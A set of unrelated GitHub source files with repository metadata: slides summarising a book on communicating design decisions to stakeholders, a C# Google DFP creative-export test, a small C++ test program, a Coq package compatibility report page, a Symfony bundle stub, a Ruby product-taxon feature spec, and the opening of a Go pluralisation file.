</ul>
</section>
<section>
<h2> Apply Filters </h2>
<p> It's not about ignoring people, but learning to discern whether comments do or don't align with the project's objectives. </p>
</section>
<section>
<h2> Apply Filters </h2>
<blockquote>
<p> "If they aren't influential, no one agrees with them, and they aren't likely to bring it up again, it's a safe bet you can just move on and never mention it again." </p>
</blockquote>
</section>
<section>
<img src="https://i.ytimg.com/vi/XfLmTN3scV4/hqdefault.jpg" width="75%"/>
</section>
<section>
<h2> Apply Filters </h2>
<p> Incorporating everyone's opinions is a dangerous path. Fine tune your judgement to leave out what clouds the objectives. </p>
</section>
<section>
<h2> Seek Out Individuals </h2>
<p> Be open to communication after the meeting. </p>
</section>
<section>
<h2> Seek Out Individuals </h2>
<p> If there's someone you might benefit from talking to, find them immediately after the meeting. The purpose of these conversations is to give people the space to share their unfiltered thoughts outside the pressure of an organized setting. </p>
</section>
<section>
<h2> Do Something, Even if it's Wrong </h2>
<p> Since many meetings end with ambiguity, it's better to do something rather than nothing. </p>
<ul>
</ul>
</section>
<section>
<h2> Do Something, Even if it's Wrong </h2>
<blockquote>
<p> "It's better to do something (even if it's wrong) and give your team the opportunity to speak out for or against your choice rather than deal with stale decisions and a stagnant design process. Sometimes, you just need to decide and tell everyone else what you're going to do and get them to speak up." </p>
</blockquote>
</section>
<section>
<h2> Do Something, Even if it's Wrong </h2>
<p>
Take the lead and make some kind of rough draft in order to combat decision paralysis. It'll at least get people's attention.
</p>
</section>
<section>
<p> Remember these things when the meeting is over: </p>
<ul>
<li class="fragment">
The time after the meeting is when you can hear people's unfiltered thoughts
</li>
<li class="fragment">
Follow up quickly in order to communicate urgency, value, and decisiveness
</li>
<li class="fragment">
Filter out unnecessary points from your notes that don't need follow up
</li>
<li class="fragment">
Be open to communicating after the meeting
</li>
<li class="fragment">
The only way to move forward in times of ambiguity is to make some kind of decision, even if it's wrong
</li>
</ul>
</section>
<section id="ch11"> <!-- OPENING: CHAPTER 11 -->
<h2><small> Chapter 11 </small></h2>
<h2> Recovering from Disaster </h2>
<blockquote>
<p> In every difficult situation is potential value. Believe this; then begin looking for it. </p>
<p> ―Norman Vincent Peale</p>
</blockquote>
</section>
<section>
<p>
Sometimes, no matter how hard we try, have to roll with design decisions we disagree with.
</p>
</section>
<section>
<h2>How is This Possible?</h2>
<p>
The first step in addressing disaster is to understand why it happened and how it could have been avoided. A few causes for disaster:
</p>
<ol>
<li class="fragment">
They have a specific need that isn't being met
</li>
<li class="fragment">
They want to know they're being heard
</li>
<li class="fragment">
There is a misunderstanding
</li>
<li class="fragment">
Your designs are not the best solution
</li>
<li class="fragment">
They are completely unreasonable
</li>
</ol>
</section>
<section>
<h2>How is This Possible?</h2>
<p><b>They have a specific need that isn't being met</b></p>
<p>
Sometimes one need is there because the stakeholder has another underlying need that isn't being addressed.
</p>
</section>
<section>
<h2>How is This Possible?</h2>
<p><b>They want to know they're being heard</b></p>
<p>
Sometimes clients insist on a change because they don't think they're being heard or valued.
</p>
</section>
<section>
<h2>How is This Possible?</h2>
<p><b>There is a misunderstanding</b></p>
<p>
Miscommunications come often and are a sure-fire way to disaster.
</p>
</section>
<section>
<h2>How is This Possible?</h2>
<p><b>Your designs are not the best solution</b></p>
<p>
Stakeholders are leaders for a reason and know the domain best, so they may be right.
</p>
</section>
<section>
<img src="https://media.giphy.com/media/l4FGkUNYQtWC4fDGM/giphy.gif" width="100%"/>
<p style="text-align: center;">
SIT DOWN, BE HUMBLE
</p>
</section>
<section>
<h2>How is This Possible?</h2>
<p><b>They are completely unreasonable</b></p>
<p>
Usually when we think someone's unreasonable, we just fail to see things from their perspective. However, inherently unreasonable people do exist.
</p>
</section>
<section>
<h2>Making Changes You Disagree With</h2>
<p>
Some tactics for addressing decisions that you feel might hinder the user experience:
</p>
<ol>
<li class="fragment">
Make it subtle
</li>
<li class="fragment">
Make it an option
</li>
<li class="fragment">
Carefully consider placement
</li>
<li class="fragment">
The hidden menu
</li>
<li class="fragment">
Plan a space
</li>
</ol>
</section>
<section>
<h2>Making Changes You Disagree With</h2>
<p><b>Make it subtle</b></p>
<p>
Find a middle ground between what a stakeholder wants and what's cohesive for the UX.
</p>
</section>
<section>
<h2>Making Changes You Disagree With</h2>
<p><b>Make it an option</b></p>
<p>
If it's viable for your product, you could limit it's audience.
</p>
</section>
<section>
<h2>Making Changes You Disagree With</h2>
<p><b>Carefully consider placement</b></p>
<p>
If it's viable for your product, you could limit the amount of views it exists in.
</p>
</section>
<section>
<h2>Making Changes You Disagree With</h2>
<p><b>The hidden menu</b></p>
<p>
Sometimes elements could be carefully tucked away in a less accessible location.
</p>
</section>
<section>
<h2>Making Changes You Disagree With</h2>
<p><b>Plan a space</b></p>
<p>
Plan an area in the layout that could easily accommodate temporary changes.
</p>
</section>
<section>
<h2>Making Lemonade</h2>
<img src="https://media.giphy.com/media/28uzSCkeNeyiY/giphy.gif" width="100%" />
</section>
<section>
<h2>Making Lemonade</h2>
<p>
Usually it's not one person's bad idea that will ruin a design. It's often poor execution of that possible bad idea that has the power to actually do damage.
</p>
</section>
<section>
<h2>Making Lemonade</h2>
<p>
Think of decisions that you disagree with as constraints. Use those constraints to actually improve the product instead of plopping them there exactly as suggested.
</p>
<blockquote class="fragment">
<p> "One person's suggestions is a gold mine of other ideas waiting to be excavated." </p>
</blockquote>
</section>
<section>
<h2>Making Lemonade</h2>
<p>
Take a seemingly unfortunate decision and dig deeper. Being open to one change may reveal something else.
</p>
<blockquote class="fragment">
<p> "Occasionally, having a stakeholder insist on a change can lead you down a path to improving the app in a way that you never expected, solving problems you might not have uncovered otherwise." </p>
</blockquote>
</section>
<section>
<h2>The Bank Account of Trust</h2>
<ul>
<li>
<b>Deposits:</b> When your design is praised
</li>
<li>
<b>Withdrawls:</b> When a client disagrees with your design
</li>
</ul>
<p class="fragment">
Stakeholder relationships depend on this bank account of trust. Learn which battles are worth fighting. You have to constantly balance the needs of users and the requirements of stakeholders.
</p>
</section>
<section>
<h2>When You're Wrong</h2>
<p>
When you're wrong you can either:
</p>
<ol>
<li class="fragment">
Own up to your decisions
</li>
<li class="fragment">
Deny the criticism
</li>
<li class="fragment">
Absolve yourself of any involvement
</li>
</ol>
</section>
<section>
<h2>When You're Wrong</h2>
<ul>
<li class="fragment">
Being wrong can feel like a let down of trust, but it's actually an opportunity to build trust.
</li>
<li class="fragment">
Own up to your mistakes always. Say "I was wrong" and then go fix the problem.
</li>
<li class="fragment">
Communicate a sense of urgency and willingness to go above and beyond when fixing the issue.
</li>
<li class="fragment">
Don't obsess over why it happened. It's not nearly as important as fixing the problem.
</li>
</ul>
</section>
<section>
<h2>When You're Wrong</h2>
<p>
How to know when you're wrong:
</p>
<ol>
<li class="fragment">
The problem still exists
</li>
<li class="fragment">
Users don't get it
</li>
<li class="fragment">
Everyone is against you
</li>
</ol>
</section>
<section>
<h2>Painting a Duck</h2>
<blockquote>
<p> Half of the world is composed of people who have something to say and can't, and the other half who have nothing to say and keep on saying it. </p>
<p> ―Robert Frost</p>
</blockquote>
</section>
<section>
<h2>Painting a Duck</h2>
<p>
People have the tendency to spend a disproportionate amount of time "bike-shedding," which is the act of wasting time on trivial details instead of more pressing but harder to grasp issues.
</p>
</section>
<section>
<h2>Painting a Duck</h2>
<p>
Sometimes the solution for a stubborn and unreasonable stakeholder is to "paint a duck," or offer some carefully curated alternatives that you know they won't pick, just to point them in the right direction and focus them on the objectives of the project.
</p>
</section>
<section>
<h2>Managing Expectations</h2>
<blockquote>
<p> "Your ability to properly set, adjust, and communicate expectations is more important than your ability to crank out killer designs on a daily basis." </p>
</blockquote>
</section>
<section>
<h2>Managing Expectations</h2>
<p>
Often projects fail because expectations weren't clearly communicated, not because of a lack of quality of work.
</p>
</section>
<section>
<h2>Managing Expectations</h2>
<p>
Without the support of your team, you won't succeed.
</p>
</section>
<section>
<h2>Managing Expectations</h2>
<blockquote>
<p> "The way you communicate with and manage relationships with stakeholders is critical to your success as a designer." </p>
</blockquote>
</section>
<!-- ///////////////// -->
<!-- END BAILEY ZONE -->
<!-- ///////////////// -->
<!-- ////////////////////////// -->
<!-- THE KATIE ZONE CH.12-13 -->
<!-- ////////////////////////// -->
<section id="ch12"> <!-- OPENING: CHAPTER 12 -->
<h2><small> Chapter 12 </small></h2>
<h2> For the Non-Designers </h2>
<blockquote>
<p> What we do see depends mainly on what we look for ... In the same field the farmer will notice the crop, the geologists the fossils, botanists the flowers, artists the colouring, sportsmen the cover for the game. Though we may all look at the same things, it does not all follow that we should see them. </p>
<p> ―Sir John Lubbock</p>
</blockquote>
</section>
<section>
<p> There are non-designers who are interested in learning to talk about design. They value good working relationships and realize that clear communication is key, because miscommunication can lead to </p>
<ul>
<li class="fragment">
missed expectations, which lead to
</li>
<li class="fragment">
disappointment and distrust.
</li>
</ul>
</section>
<section>
<img src="https://media.giphy.com/media/njAjh98E1PUha/giphy.gif" width="100%" />
</section>
<section>
<h2> Ten Tips for Working with Designers </h2>
<ol>
<li> Focus on what works </li>
<li> Don't provide solutions </li>
<li> Ask lots of questions </li>
<li> Don't claim to be the user </li>
<li> Let us explain our decisions </li>
</ol>
</section>
<section>
<h2> Ten Tips for Working with Designers </h2>
<ol start="6">
<li> Empower us to make decisions </li>
<li> Use helpful language </li>
<li> Ask if there is data </li>
<li> Be prepared </li>
<li> Give us what we need to be successful </li>
</ol>
</section>
<section>
<h2> Design Project Checklist </h2>
<p> Shared understanding is vital to the success of a project. Areas to focus on include: </p>
<ul>
<li> Management, vision and goals </li>
<li> Users or customers </li>
<li> Workflow and communication </li>
<li> Access to information and people </li>
<li> Design and technical requirements </li>
</ul>
</section>
<section>
<h2> A Seat at the Table </h2>
<h4> Design is becoming increasingly more valued</h4>
<ul>
<li> The most successful products are ones that are well designed and provide a superior UX released by organizations that have design-centric leadership </li>
<li> Getting there is as simple as building better relationships with your designers and empowering them to make decisions </li>
</ul>
</section>
<section id="ch13"> <!-- OPENING: CHAPTER 13 -->
<h2><small> Chapter 13 </small></h2>
<h2> Designing for Vision </h2>
<blockquote>
<p> An artist is not paid for his labor but for his vision. </p>
<p> ―James McNeill Whistler</p>
</blockquote>
</section>
<section>
<h2> Recognizing Our Power </h2>
</section>
<section data-background="https://media.giphy.com/media/ScQ1Uoo8xcznO/giphy.gif"></section>
<section>
<h2> Recognizing Our Power </h2>
<h4> Images make the unreal real </h4>
<p> Having the skills to think and execute visually gets decision makers excited about our ideas </p>
<ul>
<li class="fragment">
Designing for vision gives us a creative outlet
</li>
<li class="fragment">
It creates a conversation with other people
</ class="fragment">
<li class="fragment">
It brings people together
</li>
<li class="fragment">
It builds credibility
</li>
<li class="fragment">
It lives beyond us
</li>
</ul>
</section>
<section>
<h2> Practicing Creativity </h2>
<p> Designing for vision requires us to step away from our projects and dream a little </p>
<ul>
<li class="fragment"> <b>Find inspiration</b> creating something new requires inspiration, and it's all around us </li>
<li class="fragment"> <b>See UX everywhere</b> allow the UX of non-digital things to inform your designs </li>
<li class="fragment"> <b>Use a different canvas</b> find something that allows you to create without worrying about delivering </li>
<li class="fragment"> <b>Ideate and iterate</b> force yourself to think of different ideas and then refine them </li>
</ul>
</section>
<section>
<h2> Making it Happen </h2>
<p> Designing for vision isn't usually part of our job description, so finding the value in it is often hard </p>
</section>
<section>
<h2> Making it Happen </h2>
<h4> Find a different routine </h4>
<p> It's important to find different <em>time</em>, <em>space</em>, <em>activity</em> and <em>materials</em> to help you relax, free your mind and create. </p>
</section>
<section>
<h2> Making Stuff Up </h2>
</section>
<section data-background="https://media.giphy.com/media/xvL89ErKTLIqc/giphy.gif"></section>
<section>
<h2> Making Stuff Up </h2>
<p> When it comes down to it, designing for vision is about making things up, expressing them in a tangible way and using visuals to create excitement about the future </p>
<ul>
<li class="fragment"> Don't limit yourself </li>
<li class="fragment"> Start from scratch </li>
<li class="fragment"> Don't obsess over the details </li>
<li class="fragment"> Make lots of different versions </li>
</ul>
</section>
<section>
<h2> Making Stuff Up </h2>
<p> Even if our ideas fall flat, they still create value for us, as designers, in learning to communicate about design and build momentum to be successful </p>
</section>
<section>
<h2> Taking Your Ideas to the Right People </h2>
<p> Relationships are everything; invest in them </p>
</section>
<section>
<h2> More Than Pixels </h2>
<p> Talking about our design is hard because it is an extension of our experiences, regardless of how hard we try to remove ourselves </p>
<p> <em>Your designs do not speak for themselves</em> </p>
</section>
<section>
<h3> Design is always changing, but being a better communicator is something that we can always have. </h3>
</section>
<!-- ///////////////// -->
<!-- END KATIE ZONE -->
<!-- ///////////////// -->
<section data-background="dark" >
<h1 class="white center">Questions?</h1>
<div class="logo-block"></div>
<p class="center">
<small><a href="https://teamgaslight.com">teamgaslight.com</a></small>
</p>
</section>
</div>
</div>
<script src="lib/js/head.min.js"></script>
<script src="js/reveal.js"></script>
<script>
// More info https://github.com/hakimel/reveal.js#configuration
Reveal.initialize({
history: true,
transition: Reveal.getQueryHash().transition || 'none', // default/cube/page/concave/zoom/linear/none
// More info https://github.com/hakimel/reveal.js#dependencies
dependencies: [
{ src: 'plugin/markdown/marked.js' },
{ src: 'plugin/markdown/markdown.js' },
{ src: 'plugin/notes/notes.js', async: true },
{ src: 'plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
]
});
</script>
</body>
</html>
| {'content_hash': '57ce58885d05aaa989952551084fb07f', 'timestamp': '', 'source': 'github', 'line_count': 1228, 'max_line_length': 349, 'avg_line_length': 39.66530944625407, 'alnum_prop': 0.6365148124576567, 'repo_name': 'gaslight/design-book-club_ADD', 'id': 'a1a28981e76348818bdb56a1d3a0843cb339ba69', 'size': '48735', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'index.html', 'mode': '33261', 'license': 'mit', 'language': [{'name': 'CSS', 'bytes': '205654'}, {'name': 'HTML', 'bytes': '207720'}, {'name': 'JavaScript', 'bytes': '261184'}]} |
//-----------------------------------------------------------------------
// <copyright file="ExportCreativeActivityFixture.cs" company="Rare Crowds Inc">
// Copyright 2012-2013 Rare Crowds, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// </copyright>
//-----------------------------------------------------------------------
using System;
using System.Collections;
using System.Collections.Generic;
using System.Configuration;
using System.Globalization;
using System.IO;
using System.Linq;
using System.Reflection;
using Activities;
using ActivityTestUtilities;
using ConfigManager;
using DataAccessLayer;
using DeliveryNetworkUtilities;
using EntityTestUtilities;
using EntityUtilities;
using Google.Api.Ads.Common.Util;
using Google.Api.Ads.Dfp.Lib;
using GoogleDfpActivities;
using GoogleDfpClient;
using GoogleDfpUtilities;
using Microsoft.VisualStudio.TestTools.UnitTesting;
using Rhino.Mocks;
using Rhino.Mocks.Constraints;
using TestUtilities;
using Dfp = Google.Api.Ads.Dfp.v201206;
namespace GoogleDfpIntegrationTests
{
/// <summary>Tests for ExportCreativeActivity</summary>
[TestClass]
public class ExportCreativeActivityFixture : DfpActivityFixtureBase<ExportCreativeActivity>
{
/// <summary>Gets the bytes of a 300x250 test GIF</summary>
private byte[] TestImageBytes
{
get { return EmbeddedResourceHelper.GetEmbeddedResourceAsByteArray(this.GetType(), "Resources.test.gif"); }
}
/// <summary>Initialize per-test object(s)/settings</summary>
[TestInitialize]
public override void TestInitialize()
{
base.TestInitialize();
}
/// <summary>Test exporting an image creative</summary>
[TestMethod]
public void ExportImageCreative()
{
var companyEntity = TestNetwork.AdvertiserCompanyEntity;
var creativeEntity = this.CreateTestImageAdCreative();
this.AddEntitiesToMockRepository(companyEntity, creativeEntity);
var request = new ActivityRequest
{
Task = GoogleDfpActivityTasks.ExportCreative,
Values =
{
{ EntityActivityValues.AuthUserId, Guid.NewGuid().ToString("N") },
{ EntityActivityValues.CompanyEntityId, companyEntity.ExternalEntityId.ToString() },
{ EntityActivityValues.CreativeEntityId, creativeEntity.ExternalEntityId.ToString() },
}
};
var activity = this.CreateActivity();
var result = activity.Run(request);
// Validate result
ActivityTestHelpers.AssertValidSuccessResult(result);
ActivityTestHelpers.AssertResultHasValues(
result,
EntityActivityValues.CreativeEntityId,
GoogleDfpActivityValues.CreativeId);
// Verify creative was created correctly in DFP
long creativeId;
Assert.IsTrue(long.TryParse(result.Values[GoogleDfpActivityValues.CreativeId], out creativeId));
var creative = this.DfpClient.GetCreatives(new[] { creativeId }).FirstOrDefault() as Dfp.ImageCreative;
Assert.IsNotNull(creative);
Assert.AreEqual(creativeId, creative.id);
Assert.AreEqual<string>(creativeEntity.ExternalName, creative.name);
Assert.AreEqual(TestNetwork.AdvertiserId, creative.advertiserId);
Assert.IsNotNull(creative.previewUrl);
Assert.IsFalse(creative.size.isAspectRatio);
Assert.AreEqual(300, creative.size.width);
Assert.AreEqual(250, creative.size.height);
Assert.AreEqual(creativeEntity.GetClickUrl(), creative.destinationUrl);
}
/// <summary>Test exporting third party tag creative</summary>
[TestMethod]
[Ignore]
public void ExportThirdPartyTagCreative()
{
Assert.Fail();
}
/// <summary>Creates a test creative entity for a 300x250 image ad</summary>
/// <returns>The creative entity</returns>
private CreativeEntity CreateTestImageAdCreative()
{
return EntityTestHelpers.CreateTestImageAdCreativeEntity(
new EntityId(),
"Test Creative - " + this.UniqueId,
300,
250,
"http://www.rarecrowds.com/",
this.TestImageBytes);
}
}
}
| {'content_hash': '847e9e06212c583e11ee9ccbb90d1f5d', 'timestamp': '', 'source': 'github', 'line_count': 129, 'max_line_length': 119, 'avg_line_length': 39.06976744186046, 'alnum_prop': 0.6398809523809523, 'repo_name': 'chinnurtb/OpenAdStack', 'id': '7f5fcdc0845d8ee2b35f78afeffe017c76425439', 'size': '5042', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'GoogleDfpActivities/GoogleDfpIntegrationTests/ExportCreativeActivityFixture.cs', 'mode': '33188', 'license': 'apache-2.0', 'language': []} |
programinit()
#include <testd2.h>
#include <initgeneral.h>
#include <win.h>
#include <gen.h>
function main() {
printl("testd says 'Hello World!'");
//CREATE LABELLED COMMON
mv.labelledcommon[1]=new win_common;
// perform("initgeneral");
call initgeneral();
asm(" int $03");
win.srcfile="";
win.datafile="";
win.orec="";
win.wlocked="";
win.reset="";
win.valid="";
call testd2();
return 0;
}
debugprogramexit()
| {'content_hash': '0945bb063bcbbe4c280322b09c022a45', 'timestamp': '', 'source': 'github', 'line_count': 29, 'max_line_length': 37, 'avg_line_length': 14.827586206896552, 'alnum_prop': 0.6511627906976745, 'repo_name': 'rdmenezes/exodusdb', 'id': '0caada7d87e34cb7641c91bf72cd649fbe0b168d', 'size': '458', 'binary': False, 'copies': '2', 'ref': 'refs/heads/master', 'path': 'service/service2/test/testd.cpp', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'ASP', 'bytes': '101254'}, {'name': 'ApacheConf', 'bytes': '97'}, {'name': 'C', 'bytes': '59938'}, {'name': 'C#', 'bytes': '7029'}, {'name': 'C++', 'bytes': '2637888'}, {'name': 'CMake', 'bytes': '47750'}, {'name': 'CSS', 'bytes': '4304'}, {'name': 'HTML', 'bytes': '440897'}, {'name': 'Java', 'bytes': '1544'}, {'name': 'JavaScript', 'bytes': '811589'}, {'name': 'Makefile', 'bytes': '5330'}, {'name': 'NSIS', 'bytes': '81704'}, {'name': 'PHP', 'bytes': '18675'}, {'name': 'Perl', 'bytes': '3746'}, {'name': 'Python', 'bytes': '15897'}, {'name': 'Shell', 'bytes': '1116985'}, {'name': 'Visual Basic', 'bytes': '509'}]} |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>color: Not compatible 👼</title>
<link rel="shortcut icon" type="image/png" href="../../../../../favicon.png" />
<link href="../../../../../bootstrap.min.css" rel="stylesheet">
<link href="../../../../../bootstrap-custom.css" rel="stylesheet">
<link href="//maxcdn.bootstrapcdn.com/font-awesome/4.2.0/css/font-awesome.min.css" rel="stylesheet">
<script src="../../../../../moment.min.js"></script>
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
<![endif]-->
</head>
<body>
<div class="container">
<div class="navbar navbar-default" role="navigation">
<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="../../../../.."><i class="fa fa-lg fa-flag-checkered"></i> Coq bench</a>
</div>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav">
<li><a href="../..">clean / released</a></li>
<li class="active"><a href="">8.8.2 / color - 1.4.0</a></li>
</ul>
</div>
</div>
</div>
<div class="article">
<div class="row">
<div class="col-md-12">
<a href="../..">« Up</a>
<h1>
color
<small>
1.4.0
<span class="label label-info">Not compatible 👼</span>
</small>
</h1>
<p>📅 <em><script>document.write(moment("2022-10-08 09:30:10 +0000", "YYYY-MM-DD HH:mm:ss Z").fromNow());</script> (2022-10-08 09:30:10 UTC)</em><p>
<h2>Context</h2>
<pre># Packages matching: installed
# Name # Installed # Synopsis
base-bigarray base
base-threads base
base-unix base
camlp5 7.14 Preprocessor-pretty-printer of OCaml
conf-findutils 1 Virtual package relying on findutils
conf-perl 2 Virtual package relying on perl
coq 8.8.2 Formal proof management system
num 1.4 The legacy Num library for arbitrary-precision integer and rational arithmetic
ocaml 4.07.1 The OCaml compiler (virtual package)
ocaml-base-compiler 4.07.1 Official release 4.07.1
ocaml-config 1 OCaml Switch Configuration
ocamlfind 1.9.5 A library manager for OCaml
# opam file:
opam-version: "2.0"
maintainer: "[email protected]"
authors: [
"Frédéric Blanqui"
"Adam Koprowski"
"Sébastien Hinderer"
"Pierre-Yves Strub"
"Sidi Ould Biha"
"Solange Coupet-Grimal"
"William Delobel"
"Hans Zantema"
"Stéphane Leroux"
"Léo Ducas"
"Johannes Waldmann"
"Qiand Wang"
"Lianyi Zhang"
"Sorin Stratulat"
]
license: "CeCILL"
homepage: "http://color.inria.fr/"
bug-reports: "[email protected]"
build: [
[make "-j%{jobs}%"]
]
install: [make "-f" "Makefile.coq" "install"]
depends: [
"ocaml"
"coq" {>= "8.7" & < "8.8~"}
"coq-bignums" {>= "8.7" & < "8.8~"}
]
tags: [
"date:2017-11-10"
"logpath:CoLoR"
"category:Computer Science/Algorithms/Correctness proofs of algorithms"
"category:Computer Science/Data Types and Data Structures"
"category:Computer Science/Lambda Calculi"
"category:Mathematics/Algebra"
"category:Mathematics/Combinatorics and Graph Theory"
"category:Mathematics/Logic/Type theory"
"category:Miscellaneous/Extracted Programs/Type checking unification and normalization"
"keyword:rewriting"
"keyword:termination"
"keyword:lambda calculus"
"keyword:list"
"keyword:multiset"
"keyword:polynomial"
"keyword:vectors"
"keyword:matrices"
"keyword:FSet"
"keyword:FMap"
"keyword:term"
"keyword:context"
"keyword:substitution"
"keyword:universal algebra"
"keyword:varyadic term"
"keyword:string"
"keyword:alpha-equivalence"
"keyword:de Bruijn indices"
"keyword:simple types"
"keyword:matching"
"keyword:unification"
"keyword:relation"
"keyword:ordering"
"keyword:quasi-ordering"
"keyword:lexicographic ordering"
"keyword:ring"
"keyword:semiring"
"keyword:well-foundedness"
"keyword:noetherian"
"keyword:finitely branching"
"keyword:dependent choice"
"keyword:infinite sequences"
"keyword:non-termination"
"keyword:loop"
"keyword:graph"
"keyword:path"
"keyword:transitive closure"
"keyword:strongly connected component"
"keyword:topological ordering"
"keyword:rpo"
"keyword:horpo"
"keyword:dependency pair"
"keyword:dependency graph"
"keyword:semantic labeling"
"keyword:reducibility"
"keyword:Girard"
"keyword:fixpoint theorem"
"keyword:Tarski"
"keyword:pigeon-hole principle"
"keyword:Ramsey theorem"
]
synopsis: "A library on rewriting theory and termination"
url {
src: "http://files.inria.fr/blanqui/color/color.1.4.0.tar.gz"
checksum: "md5=012e9be1fee95f5bea00cd91133302c1"
}
</pre>
<h2>Lint</h2>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>true</code></dd>
<dt>Return code</dt>
<dd>0</dd>
</dl>
<h2>Dry install 🏜️</h2>
<p>Dry install with the current Coq version:</p>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>opam install -y --show-action coq-color.1.4.0 coq.8.8.2</code></dd>
<dt>Return code</dt>
<dd>5120</dd>
<dt>Output</dt>
<dd><pre>[NOTE] Package coq is already installed (current version is 8.8.2).
The following dependencies couldn't be met:
- coq-color -> coq < 8.8~ -> ocaml < 4.06.0
base of this switch (use `--unlock-base' to force)
Your request can't be satisfied:
- No available version of coq satisfies the constraints
No solution found, exiting
</pre></dd>
</dl>
<p>Dry install without Coq/switch base, to test if the problem was incompatibility with the current Coq/OCaml version:</p>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>opam remove -y coq; opam install -y --show-action --unlock-base coq-color.1.4.0</code></dd>
<dt>Return code</dt>
<dd>0</dd>
</dl>
<h2>Install dependencies</h2>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>true</code></dd>
<dt>Return code</dt>
<dd>0</dd>
<dt>Duration</dt>
<dd>0 s</dd>
</dl>
<h2>Install 🚀</h2>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>true</code></dd>
<dt>Return code</dt>
<dd>0</dd>
<dt>Duration</dt>
<dd>0 s</dd>
</dl>
<h2>Installation size</h2>
<p>No files were installed.</p>
<h2>Uninstall 🧹</h2>
<dl class="dl-horizontal">
<dt>Command</dt>
<dd><code>true</code></dd>
<dt>Return code</dt>
<dd>0</dd>
<dt>Missing removes</dt>
<dd>
none
</dd>
<dt>Wrong removes</dt>
<dd>
none
</dd>
</dl>
</div>
</div>
</div>
<hr/>
<div class="footer">
<p class="text-center">
Sources are on <a href="https://github.com/coq-bench">GitHub</a> © Guillaume Claret 🐣
</p>
</div>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
<script src="../../../../../bootstrap.min.js"></script>
</body>
</html>
| {'content_hash': '8d91af6df00d1a3ae0be1f5e53ff74c3', 'timestamp': '', 'source': 'github', 'line_count': 238, 'max_line_length': 159, 'avg_line_length': 38.36134453781513, 'alnum_prop': 0.5904709748083242, 'repo_name': 'coq-bench/coq-bench.github.io', 'id': '04bc43da7728c1bf5cdf3c31c6ba0b9fc3f59852', 'size': '9160', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'clean/Linux-x86_64-4.07.1-2.0.6/released/8.8.2/color/1.4.0.html', 'mode': '33188', 'license': 'mit', 'language': []} |
<?php
namespace Mr\ChatBundle;
use Symfony\Component\HttpKernel\Bundle\Bundle;
class MrChatBundle extends Bundle
{
}
| {'content_hash': '300ff9f5091364e22260bd06b928c05c', 'timestamp': '', 'source': 'github', 'line_count': 9, 'max_line_length': 47, 'avg_line_length': 13.333333333333334, 'alnum_prop': 0.7916666666666666, 'repo_name': 'KillaoDev/MooveRadio', 'id': '373f9253866ecbb12515ed41e83a01795b848530', 'size': '120', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'src/Mr/ChatBundle/MrChatBundle.php', 'mode': '33261', 'license': 'mit', 'language': [{'name': 'CSS', 'bytes': '11006'}, {'name': 'JavaScript', 'bytes': '914'}, {'name': 'PHP', 'bytes': '120455'}, {'name': 'Shell', 'bytes': '603'}]} |
require 'spec_helper'
describe "Product Taxons", :type => :feature do
stub_authorization!
after do
Capybara.ignore_hidden_elements = true
end
before do
Capybara.ignore_hidden_elements = false
end
context "managing taxons" do
def selected_taxons
find("#product_taxon_ids").value.split(',').map(&:to_i).uniq
end
it "should allow an admin to manage taxons", :js => true do
taxon_1 = create(:taxon)
taxon_2 = create(:taxon, :name => 'Clothing')
product = create(:product)
product.taxons << taxon_1
visit spree.admin_path
click_link "Products"
within("table.index") do
click_icon :edit
end
expect(find(".select2-search-choice").text).to eq(taxon_1.name)
expect(selected_taxons).to match_array([taxon_1.id])
select2_search "Clothing", :from => "Taxons"
click_button "Update"
expect(selected_taxons).to match_array([taxon_1.id, taxon_2.id])
# Regression test for #2139
sleep(1)
expect(first(".select2-search-choice", text: taxon_1.name)).to be_present
expect(first(".select2-search-choice", text: taxon_2.name)).to be_present
end
end
end
| {'content_hash': '80ce74674e938cb4466a3aa2edab34db', 'timestamp': '', 'source': 'github', 'line_count': 44, 'max_line_length': 79, 'avg_line_length': 27.136363636363637, 'alnum_prop': 0.6381909547738693, 'repo_name': 'sunny2601/spree1', 'id': '254d52aee286205457d4c5cd07a50cf9501f0c9b', 'size': '1194', 'binary': False, 'copies': '11', 'ref': 'refs/heads/master', 'path': 'backend/spec/features/admin/products/edit/taxons_spec.rb', 'mode': '33188', 'license': 'bsd-3-clause', 'language': [{'name': 'CSS', 'bytes': '201085'}, {'name': 'CoffeeScript', 'bytes': '32035'}, {'name': 'HTML', 'bytes': '470128'}, {'name': 'JavaScript', 'bytes': '37692'}, {'name': 'Ruby', 'bytes': '2012087'}, {'name': 'Shell', 'bytes': '2346'}]} |
package internal
import (
"strconv"
"github.com/kataras/iris/v12/context"
"golang.org/x/text/feature/plural"
"golang.org/x/text/message"
"golang.org/x/text/message/catalog"
)
// PluralCounter if completes by an input argument of a message to render,
// then the plural renderer will resolve the plural count
// and any variables' counts. This is useful when the data is not a type of Map or integers.
type PluralCounter interface {
// PluralCount returns the plural count of the message.
// If returns -1 then this is not a valid plural message.
PluralCount() int
